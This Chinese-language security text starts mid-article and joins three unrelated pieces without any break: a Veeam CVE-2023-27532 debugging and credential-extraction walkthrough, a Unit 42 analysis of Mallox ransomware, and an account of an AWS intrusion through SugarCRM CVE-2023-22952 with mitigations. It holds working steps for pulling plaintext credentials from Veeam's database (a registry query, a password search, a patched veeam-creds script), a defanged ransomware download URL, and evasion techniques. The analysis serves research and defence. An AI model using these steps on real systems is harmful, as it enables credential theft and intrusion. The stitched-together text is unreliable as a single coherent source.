0x02 環境搭建1.軟件安裝安裝文檔:https://helpcenter.veeam.com/archive/backup/110/vsphere/install_vbr.html

軟件下載地址:https://www.veeam.com/download-version.html

License申請地址:https://www.veeam.com/smb-vmware-hyper-v-essentials-download.html

下載得到iso文件,安裝時需要使用郵箱獲得的License文件

2.默認目錄安裝目錄:C:\Program Files\Veeam\

日誌路徑:C:\ProgramData\Veeam\Backup

3.默認端口Veeam.Backup.Service ports: 9392,9401(SSL)

Veeam.Backup.ConfigurationService port: 9380

Veeam.Backup.CatalogDataService port: 9393

Veeam.Backup.EnterpriseService port:9394

Web UI ports: 9080,9443(SSL)

RESTful API ports: 9399,9398(SSL)

0x03 調試環境搭建1.定位進程執行命令:netstat -ano |findstr 9401

返回結果:

微信截图_20230404142903.png

定位到進程pid為7132,進程名稱為Veeam.Backup.Service.exe

使用dnSpy Attach到進程Veeam.Backup.Service.exe

2.調試設置為了在Debug過程中能夠查看變量內容,需要創建以下文件:

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.DBManager.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.ServiceLib.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Interaction.MountService.ini

內容為:

2.png0x04 數據庫憑據提取1.獲得數據庫連接配置(1)獲得數據庫連接端口

打開SQL Server 2016 Configuration Manager,選擇SQL Server Services,可以看到SQL Server(VEEAMSQL2016)對應的Process ID為1756,如下圖

1.png查看進程對應的端口:netstat -ano|findstr 1756

返回結果:

3.png

得到連接端口49720

(2)獲得數據庫名稱

方法1:

進入Configuration Database Connection Settings,在頁面中可以看到Database name為VeeamBackup,認證方式為Windows Authentication,如下圖

下载.png

方法2:

讀取註冊表鍵值:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Veeam\Veeam Backup and Replication' /v SqlDatabaseName

2.數據庫連接(1)使用界面程序

這裡使用DbSchema

選擇SqlServer,配置如下圖

3.png

成功連接如下圖

下载 (1).png

數據庫選擇VeeamBackup.dbo,進入數據庫頁面,全局搜索關鍵詞password,得到相關的查詢語句:

4.png執行後獲得數據庫存儲的憑據信息,如下圖

下载 (2).png

(2)使用Powershell

參考資料:https://github.com/sadshade/veeam-creds

veeam-creds在Veeam Backup and Replication 11及更高版本測試時會報錯,提示:

5.png

這是因為https://github.com/sadshade/veeam-creds/blob/main/Veeam-Get-Creds.ps1#L32處使用了sqloledb,當前系統的sqloledb已經過期

這裡可以選擇使用MSOLEDBSQL或MSOLEDBSQL19解決

查看當前系統是否安裝MSOLEDBSQL或MSOLEDBSQL19的Powershell命令:(New-Object System.Data.OleDb.OleDbEnumerator).GetElements() | select SOURCES_NAME, SOURCES_DESCRIPTION

返回結果示例:

6.png

以上結果顯示當前系統安裝了MSOLEDBSQL19,所以只需要將sqloledb替換為MSOLEDBSQL19即可

補充:安裝MSOLEDBSQL或MSOLEDBSQL19的方法下載地址:https://learn.microsoft.com/en-us/sql/connect/oledb/download-oledb-driver-for-sql-server?source=recommendationsview=sql-server-ver16

命令行安裝方法:msiexec /i msoledbsql.msi /qn IACCEPTMSOLEDBSQLLICENSETERMS=YES

安裝前需要滿足Microsoft Visual C++ Redistributable版本最低為14.34

查看Microsoft Visual C++ Redistributable版本的簡單方法:

通過文件夾名稱獲得:dir /o:-d 'C:\ProgramData\Package Cache'

返回結果示例:

7.png

從中可以得出Microsoft Visual C++ Redistributable版本為14.29.30037,需要安裝更高版本的Microsoft Visual C++ Redistributable,下載地址:https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170

x86和x64均需要安裝,veeam-creds運行成功如下圖

下载 (3).png

0x05 CVE-2023-27532簡要分析Y4er公佈了調用CredentialsDbScopeGetAllCreds獲得明文憑據的POC:https://y4er.com/posts/cve-2023-27532-veeam-backup-replication-leaked-credentials/

1.憑據位置此處的明文憑據對應的位置為:Veeam Backup Replication Console-Manage Credentials,默認明文口令為空,如下圖

4.png調試斷點位置為Veeam.Backup.DBManager.dll-CCredentialsDbScope,如下圖

下载 (4).png

2.數據解析POC最終的返回結果為序列化之後的xml,將ParamValue作Base64解密後可以看到明文數據,但是格式不對,存在亂碼

這裡可以調用Veeam自帶的dll反序列化數據,得到正確的格式

格式化輸出字符串的代碼示例:

8.png

需要引用dll文件:

Veeam.Backup.Common.dll

Veeam.Backup.Configuration.dll

Veeam.Backup.Interaction.MountService.dll

Veeam.Backup.Logging.dll

Veeam.Backup.Model.dll

Veeam.Backup.Serialization.dll

Veeam.TimeMachine.Tool.dll

編譯生成的文件需要在本地安裝Veeam的環境下使用,否則報錯提示:

9.png 10.png

程序成功執行的結果示例如下圖

5.png0x06 小結本文以CVE-2023-27532為例,介紹搭建Veeam Backup Replication漏洞調試環境的相關問題和解決方法。

Mallox(又名TargetCompany、FARGO和Tohnichi)是一種針對Windows系統的勒索軟件。自2021年6月出現以來就一直很活躍,並以利用不安全的MS-SQL服務器作為攻擊手段來攻擊受害者的網絡而聞名。

最近,Unit 42的研究人員觀察到與去年相比,利用MS-SQL服務器傳播勒索軟件的Mallox勒索軟件活動增加了近174%。研究人員觀察到,Mallox勒索軟件使用暴力破解、數據洩露和網絡掃描儀等工具。此外,有跡象表明,該組織正在擴大其業務,並在黑客論壇上招募成員。

Mallox勒索軟件概述與許多其他勒索軟件一樣,Mallox勒索軟件使用了雙重勒索方法:在加密組織文件之前竊取數據,然後威脅將竊取的數據發佈在洩露網站上,增加勒索籌碼。

下圖顯示了Tor瀏覽器上的Mallox勒索軟件網站。儘管這些組織的名稱和標識已經被塗黑,但這就是該組織展示其目標洩露數據的方式。

3.png

Tor瀏覽器上的Mallox網站

每個受害者都有一把私鑰,可以與該組織互動並協商條款和付款。下圖展示了用於交流的工具。

4.png

Tor瀏覽器上的Mallox私人聊天

Mallox勒索軟件幕後組織聲稱有數百名受害者被攻擊。雖然受害者的實際人數尚不清楚,但分析顯示,全球有潛在受害者已經很多,涉及多個行業,包括製造業、法律服務、批發和零售業。

自2023年初以來,Mallox的活動一直在不斷增加。根據研究人員追踪分析和從公開威脅情報來源收集的數據,與2022年下半年相比,2023年Mallox攻擊增加了約174%。

5.png

從2022年下半年到2023年上半年的Mallox攻擊嘗試

初始訪問自2021年出現以來,Mallox組織一直採用相同的方法獲得初始訪問權限,該組織以不安全的MS-SQL服務器為目標滲透到網絡中。這些攻擊從字典暴力攻擊開始,嘗試針對MS-SQL服務器的已知或常用密碼列表。在獲得訪問權限後,攻擊者使用命令行和PowerShell從遠程服務器下載Mallox勒索軟件負載。

6.png

響應由Cortex XDR和XSIAM引發的Mallox勒索軟件字典暴力攻擊而引發的警報示例

Mallox勒索軟件感染的命令行示例:

7.png

該命令行執行以下操作:

從hxxp://80.66.75[.]36/aRX.exe下載勒索軟件有效負載,並保存為tzt.exe;

運行名為updt.ps1的PowerShell腳本;

接下來,有效負載繼續執行以下操作(未在上面顯示的命令行腳本中顯示):

下載另一個名為system.bat的文件,並將其保存為tzt.bat;

“tzt.bat”文件用於創建名為“SystemHelp”的用戶,並啟用RDP協議;

使用Windows管理工具(WMI)執行勒索軟件有效負載tzt.exe;

下圖顯示了Cortex XDR和XSIAM如何檢測SQL服務器利用的第一階段。

8.png

SQL服務器利用過程(僅限於測試目)

勒索軟件執行在進行任何加密之前,勒索軟件有效負載會嘗試多種操作以確保勒索軟件成功執行,例如:

嘗試使用sc.exe和net.exe停止和刪除sql相關的服務。這樣,勒索軟件就可以訪問並加密受害者的文件數據。

試圖刪除卷影,使文件加密後更難被恢復。

9.png

刪除卷影副本的警報,由Cortex XDR和XSIAM引發

試圖使用微軟的wevtutil命令行工具清除應用程序、安全、設置和系統事件日誌,以阻止檢測和取證分析工作;

使用Windows內置的takeown.exe命令修改文件權限,拒絕訪問cmd.exe和其他關鍵系統進程;

防止系統管理員使用bcdedit.exe手動加載系統映像恢復功能;

試圖使用taskkill.exe終止與安全相關的進程和服務,以逃避檢測;

試圖繞過檢測反勒索軟件產品,如果存在,通過刪除其註冊表項。下圖是整個過程的一個示例。

10.png

刪除檢測註冊表項

如下圖所示,勒索軟件的流程樹中顯示了上述一些活動:

11.png

攻擊的完整進程樹,如Cortex XDR和XSIAM所示(僅為檢測模式)

這個調查的Mallox勒索軟件示例使用ChaCha20加密算法對文件進行加密,並為加密的文件添加.malox擴展名。除了使用受害者的名字作為擴展名之外,觀察到的其他文件擴展名還有:FARGO3、colouse、avast、bitenc和.xollam。有關Cortex XDR中加密文件的示例如下圖所示。

12.png

Cortex XDR檢測到的Mallox勒索軟件加密的文件示例(僅為檢測模式)

Mallox在受害者驅動器的每個目錄中都留下了一張勒索信,其中解釋了感染情況並提供了聯繫信息,如下圖所示。

13.png

Mallox勒索信示例

執行後,惡意軟件會自行刪除。

根據其一名成員的說法,Mallox是一個相對較小且封閉的組織。然而,該組織似乎正在通過招募附屬公司來擴大業務。

在這次採訪幾天后,一位名叫Mallex的用戶在黑客論壇RAMP上發帖稱,Mallox勒索軟件組織正在為一個新的Mallox軟件即服務(RaaS)分支計劃招募分支機構,如下圖所示。

14.png

用戶Mallx在RAMP上的帖子

早在2022年5月,一位名叫RansomR的用戶在著名的黑客論壇上發帖稱,Mallox組織正在尋找加入該組織的附屬公司。

15.png

RansomR在null上的帖子

如果他們的計劃取得成功,Mallox組織可能會擴大其覆蓋範圍,以攻擊更多的組織。

總結Mallox勒索軟件組織在過去幾個月裡更加活躍,如果招募附屬機構成功,他們最近的招募工作可能使他們能夠攻擊更多的組織。

組織應該時刻保持高度警惕,並準備好防禦勒索軟件的持續威脅。這不僅適用於Mallox勒索軟件,也適用於其他勒索軟件。

建議確保所有面向互聯網的應用程序都配置正確,所有系統都打了補丁並儘可能更新。這些措施將有助於減少攻擊面,從而限制攻擊。

部署XDR/EDR解決方案來執行內存檢查和檢測進程注入技術。執行攻擊搜索,尋找與安全產品防禦逃避、服務帳戶橫向移動和域管理員相關的用戶行為相關的異常行為的跡象。

緩解措施Palo Alto Networks Cortex XDR檢測並阻止Mallox勒索軟件執行的文件操作和其他活動。

16.png

阻止Mallox執行的終端用戶通知

17.png

由Cortex XDR和XSIAM引發的可疑文件修改警報(僅為檢測模式)

SmartScore是一個獨特的機器學習驅動的評分引擎,它將安全調查方法及其相關數據轉換為混合評分系統,對涉及Mallox勒索軟件的事件進行了100分的評分。這種類型的評分可以幫助分析人員確定哪些事件更緊急,並提供評估原因,幫助確定優先級。

18.png

關於Mallox勒索軟件事件的SmartScore信息

針對Mallox勒索軟件的安全產品要具有以下功能,才能起到有效保護:

識別已知的惡意樣本;

高級URL過濾和DNS安全將與該組織關聯的域識別為惡意;

通過分析來自多個數據源(包括終端、網絡防火牆、Active Directory、身份和訪問管理解決方案以及雲工作負載)的用戶活動來檢測基於用戶和憑據的威脅。另外,還可以通過機器學習建立用戶活動的行為概況。通過將新活動與過去的活動和預期行為進行比較,檢測到攻擊的異常活動。

微信截图_20230814171206.png

SugarCRM 零日身份驗證繞過和遠程代碼執行漏洞(CVE-2023-22952)像是一個典型的漏洞。因為它是一個web應用程序,如果沒有正確配置或保護,幕後的基礎設施可以允許攻擊者增加其影響。當攻擊者了解雲服務提供商使用的底層技術時,如果他們能夠獲得對具有正確權限的憑證的訪問權限,就可以進行大量的操作。

在過去的一年中,Unit 42發現SugarCRM漏洞CVE-2023-22952是一個初始攻擊向量,允許攻擊者訪問AWS賬戶。這不是由於AWS中的漏洞造成的,它可能發生在任何云環境中。初始攻擊後,攻擊者利用錯誤的配置擴大了他們的訪問權限。

本文根據MITRE ATTCK Matrix框架列出了針對AWS環境的各種攻擊,並總結了組織可以設置的多種預防機制來保護自己。其中一些保護措施包括利用AWS提供的控制和服務、雲最佳實踐,以及確保足夠的數據保留以應對全面攻擊。

這些攻擊的複雜性表明,設置日誌記錄和監控以檢測任何未經授權的AWS API調用是多麼重要,即使它們看起來無害。如果允許攻擊者獲得一個攻擊立足點,這可能導致更可怕的活動,而這些活動並不總是可追踪的。

MITRE ATTCK MatrixMITRE ATTCK Matrix由14種不同的策略組成,這些策略描述了網絡安全攻擊的不同組成部分。

初始訪問:CVE-2023-22952這些AWS賬戶洩露的最初攻擊載體是零日SugarCRM漏洞CVE-2023-22952。 Sugar是一個價格合理並且容易使用的企業級CRM,Sugar的設計初衷是為了幫助您的企業於千載客戶溝通,共享銷售信息,促成交易以及保持客戶開心。

CVE-2023-22952由NIST國家漏洞數據庫於2023年1月11日發布,得分為8.8。由於缺少輸入驗證,此漏洞允許攻擊者通過SugarCRM電子郵件模板模塊注入自定義PHP代碼。

要理解攻擊者為什麼針對SugarCRM進行這些攻擊,了解SugarCRM客戶數據庫中存在大量敏感數據(如電子郵件地址、聯繫信息和帳戶信息)是很有幫助的。如果它被洩露,攻擊者要么選擇直接出售這些信息,要么勒索受害者以獲得更多經濟利益。

通過利用SugarCRM中的此漏洞,攻擊者可以通過該漏洞的遠程執行組件直接訪問運行此應用程序的底層服務器。在發現的示例中,這些服務器是Amazon Elastic Cloud Compute (EC2)實例,主機上存儲有長期的AWS訪問密鑰,允許攻擊者擴展其訪問權限。由於這些組織將其基礎設施託管在雲中,因此與本地託管相比,它為攻擊者提供了不同的攻擊載體。

憑證訪問一旦攻擊者獲得了對EC2實例的訪問權限,他們就成功地盜取了主機上存在的長期AWS訪問密鑰。無論計算機是位於本地還是雲中,如果用戶使用AWS命令行界面(CLI),他們都可以選擇將用於身份驗證的臨時或永久憑證存儲在存儲在主機上的憑證文件中,具體如下圖所示,其中包括文件路徑。

在我們觀察到的情況下,這些明文憑證存在於受攻擊的主機上,這允許攻擊者竊取它們並開始使用訪問密鑰開始攻擊活動。

1.png

憑證文件位置的文件路徑

發現過程在攻擊者執行任何掃描活動之前,他們首先運行命令GetCallerIdentity。 GetCallerIdentity是AWS版本的whoami。它返回關於執行調用目標的各種信息,例如與用於簽署請求的憑證相關聯的

的用戶ID、帳戶和Amazon Resource Name (ARN),如下圖所示。用戶ID是執行調用的實體的唯一標識符,帳戶是憑證所屬的AWS帳戶的唯一12位標識符,ARN包括執行調用的目標帳戶ID和人類可讀的名稱。

2.png

GetCallerIdentity響應

一旦攻擊者竊取了足夠多的憑證,他們就開始了掃描活動。他們利用Pacu和Scout Suite工具來更好地了解AWS賬戶中存在哪些資源。 Pacu是一個開源的AWS開發框架,它被設計成雲中的Metasploit。 Scout Suite是一個用於雲環境安全狀態評估的安全審計工具。

根據檢測結果,Pacu已經存在於主機上。雖然Scout Suite並不是我們看到下載到受感染的EC2實例上的工具,但我們知道它是基於與攻擊者活動相關的用戶代理使用的。這兩種工具都為攻擊者提供了大量信息,以了解他們所破壞的AWS賬戶的情況。

在本文的示例中,這些工具掃描了各種傳統服務,例如:

EC2

IAM

RDS

S3

SNS

SES

Lambda

攻擊者還對服務(例如Organizations服務和Cost and Usage服務)執行其他發現調用,這些服務不一定會為攻擊者提供有用的信息。

AWS組織為公司提供了一個集中的場所來管理多個AWS帳戶和資源。在查看CloudTrail日誌中的攻擊者活動時,有三個組織API調用非常突出。第一個調用是ListOrganizationalUnitsForParent,它列出了所有的組織單元(OU)。

這樣,攻擊者就可以運行ListAccounts,它返回與每個ou關聯的所有帳戶id,並向攻擊者提供最有用信息的最後一個調用是descripbeorganization API調用。此事件返回主帳戶ID以及與該帳戶關聯的主帳戶電子郵件地址。有了這些信息,攻擊者就有足夠的能力嘗試以Root用戶的身份登錄目標帳戶。最後一個感興趣的發現調用涉及成本和使用服務。如下圖所示,攻擊者執行各種GetCostandUsage調用,響應返回關於受攻擊帳戶中的一般成本的信息。

防御者需要意識到,攻擊者可以通過了解雲帳戶內的成本來確定帳戶的活躍程度。如果一個帳戶的總成本很大,他們可能更容易在不被發現的情況下增加新資源,因為成本可能不會突出。

另一方面,如果帳戶中的支出很少,一些新資源可能會更加突出。支出較少的帳戶所有者可能也有更嚴格的成本通知,這可能會在攻擊者創建新資源時觸發警報。

3.png

GetCostandUsage請求參數示例

4.png

GetCostandUsage響應示例

通過使用這些看似無害的API調用,攻擊者獲得了大量關於賬戶結構和使用情況的信息,而無需執行大量可能觸發警報的可疑活動。

橫向移動、執行、滲透在我們觀察到的事件中,一旦攻擊者完成了對環境的掃描,他們就有足夠的信息來縮小他們的活動範圍,從發現整個帳戶到對從關係數據庫服務(RDS)開始的各種服務採取行動。攻擊者從受攻擊的SugarCRM EC2實例橫向移動到RDS服務,並開始執行命令,從各種SugarCRM RDS數據庫創建新的RDS快照。創建這些快照不會導致原始RDS數據庫停機。

這樣,攻擊者就修改了已經允許SSH入站的預先存在的安全組規則,並為MySQL流量添加了端口3306。然後,攻擊者開始進行滲透,從快照中創建全新的數據庫,將其公開,並附加修改後的安全組。最後,他們通過更改主用戶密碼修改了新創建的RDS數據庫,這將允許他們登錄數據庫。

為了了解是否發生了任何數據洩露,在啟用了虛擬私有云(VPC)流日誌的情況下,我們可以使用日誌查看有多少字節的數據離開了環境。在沒有啟用VPC流日誌的情況下,我們發現的數據洩露受到限制。

橫向移動/執行在RDS活動之後,攻擊者再次橫向移動回EC2服務並進行了一些更改。攻擊者做的第一件事是從正在運行的SugarCRM EC2實例中創建新的Amazon Machine Images(AMI),然後從那裡運行ImportKeyPair命令導入他們使用第三方工具創建的公鑰對。完成這些任務後,攻擊者繼續創建新的EC2實例。攻擊者還將現有的安全組附加到允許從任何IP地址訪問入站端口22的EC2實例,如下圖所示。

5.png

允許端口22訪問的安全組示例

攻擊者在組織用於其正常基礎設施的其餘部分的相同區域中創建了EC2實例。他們還將區域切換到地理上的新區域,並創建了一個新的安全組,允許來自任何IP地址的端口22 SSH流量。然後,攻擊者導入另一個密鑰對。由於攻擊者切換到不同的區域,即使密鑰對與其他區域使用的密鑰對相同,也必須重新導入該密鑰對。

完成設置後,攻擊者們創建了一個新的EC2實例,但這次他們使用了AWS Marketplace上的公共AMI。此EC2實例活動顯示了在所有區域啟用GuardDuty等安全服務的重要性,以便能夠查看AWS帳戶內發生的所有事情。為了增加主動防禦,組織也可以禁用未使用的區域。

權限升級對於這些攻擊的權限升級部分,攻擊者並沒有像我們在其他情況下看到的那樣試圖創建新的IAM用戶。相反,他們選擇嘗試以Root用戶身份登錄。儘管使用了他們在發現階段從組織調用中獲得的信息,攻擊者仍然未能成功地以Root用戶登錄。 Root登錄嘗試非常嘈雜,因此這些失敗的Root登錄在CloudTrail日誌中非常突出,如下圖所示。

6.png

從CloudTrail日誌中查看Root登錄失敗

持久性除了嘗試使用Root帳戶登錄之外,攻擊者並沒有嘗試太多持久性。最明顯的持久性嘗試是在不同的區域創建EC2實例,而不是通常用於託管其基礎設施的組織。與Root登錄嘗試類似,這些新的EC2實例在CloudTrail日誌中很突出。然而,在檢查控制台中的資源時很容易遺漏一些內容,因為隨著雲環境變得更大,切換區域和跟踪所有創建的資源非常耗時。

逃避檢測一旦攻擊者攻擊了AWS賬戶,在賬戶所有者發現問題之前,他們只有有限的時間來逃避。為了不被發現,攻擊者在非標準地區部署了資源。但是,他們還在環境中打開和關閉了EC2實例。

攻擊者這樣做有幾個原因。第一個原因是降低他們的可見度。在AWS控制台中EC2實例頁面上,它默認只顯示正在運行的EC2實例。除非用戶積極地嘗試查看未運行的EC2實例,否則,一旦將攻擊者創建的新EC2實例處於停止狀態,用戶就不可能檢測到他們。

第二個原因是,停止這些資源也可以避免在組織帳戶中產生額外的成本。如果組織對成本有嚴格的通知,攻擊者停止他們創建的資源可以最大限度地降低成本,並有助於防止觸發成本警報,這是他們逃避檢測的另一種方式。除了在不同區域創建資源並停止他們創建的資源外,攻擊者沒有嘗試其他防禦規避技術,例如停止CloudTrail日誌記錄或禁用GuardDuty。

通過訪問密鑰進行緩解組織可以採取四種主要的補救措施來保護自己在未來免受這類型的攻擊。第一個是關於訪問密鑰的,對於組織來說,保護他們的訪問密鑰是至關重要的,因為我們經常看到它們是AWS被攻擊的根本原因。

在EC2實例上使用長期訪問密鑰從來都不是一個好的理由。相反,應該使用實例元數據服務(IMDS)中的EC2角色和臨時憑證。另外,請確保只使用IMDSv2,它可以防止服務器端請求偽造(SSRF)攻擊。

我們建議為存儲在主機憑證文件中的任何長期訪問密鑰創建一個清理過程。這可以通過要求用戶在完成工作後清理這些文件來實現,或者通過創建一個流程來自動清理這些文件。

我們還建議定期輪換和刪除訪問密鑰。訪問密鑰的壽命越長,它被洩露的可能性就越大。持續地輪換它們並主動刪除未使用的密鑰可以保護AWS帳戶。整個過程可以自動化,並有助於檢查訪問密鑰的安全性。

最低權限IAM策略攻擊者能夠完成攻擊唯一原因是,組織在SugarCRM主機上給予IAM用戶主體廣泛的權限。這些主機上的IAM用戶需要一些AWS權限,但是這些權限應該被限定得很窄,只包括使用這些權限的應用程序所需要的權限。這些組織並不是唯一遇到這種情況的組織,99%的雲用戶、角色、服務和資源被授予了過多的權限,而這些權限沒有被使用。

建議組織可以使用AWS Access Analyzer檢查特定IAM主體對API的歷史使用情況,並自動生成訪問策略,將其訪問權限限制為僅在你選擇的時間段內使用過的API。

編寫過於寬鬆的策略可能更容易,但是編寫範圍狹窄的權限以更好地保護AWS帳戶肯定是值得的。

通過監控Root進行緩解還有一個預防措施是圍繞Root帳戶設置監控,此帳戶應該只用於需要Root的幾個帳戶管理任務的環境中,並進行精心維護。我們還建議始終在Root上啟用多因素身份驗證,並確保使用長密碼對其進行保護。

日誌記錄和監控最後一項防禦措施是確保它們配置了正確的日誌記錄。 CloudTrail和GuardDuty都應該在所有區域中啟用,並將日誌發送到集中位置。

當涉及到GuardDuty時,攻擊警報應該被發送到一個團隊,該團隊將根據警報的嚴重性做出響應。在本文的示例中,組織啟用了GuardDuty,我們看到GuardDuty在攻擊的早期就發現了這些訪問密鑰洩露。

我們還建議組織啟用VPC流量日誌,以幫助捕獲可能發生的任何數據洩露。這些日誌在解決網絡連接問題時非常有用。對於所有這些不同的服務,確保保留好操作記錄是很重要的。無論環境如何,任何地方都可能發生攻擊,確保日誌保留足夠長的時間對於捕獲完整的攻擊至關重要。

總結儘管攻擊者能夠在這些攻擊中完成很多任務,但我們發現組織可以採取一些很好的補救措施來更好地保護自己。由於訪問密鑰是最常見的初始攻擊向量,因此盡可能避免使用長期訪問密鑰。在AWS中,這意味著為開發人員工作站使用EC2角色、IAM Roles Anywhere或Identity Center集成。保護這些密鑰的另一個方式是設置異常使用監控。對於這些攻擊,攻擊者執行異常API調用,這些調用都可以通過日誌分析檢測到。

還必須進行基本的最低權限分析,以便在雲內部或外部運行的代碼只具有完成其工作所需的權限。

除了監控訪問密鑰外,還需要確保監控雲帳戶的異常活動。在AWS中,這看起來像是監控各種服務,如CloudTrail、VPC流程日誌和S3服務器訪問日誌。如果你的雲帳戶中的服務正在通過異常端口訪問新的和不尋常的IP地址,則需要確保監控配置可以發出警報。此外,如果組織在S3桶中有敏感數據,則監控S3服務器訪問日誌以記錄對存儲桶的異常調用有助於主動發現攻擊。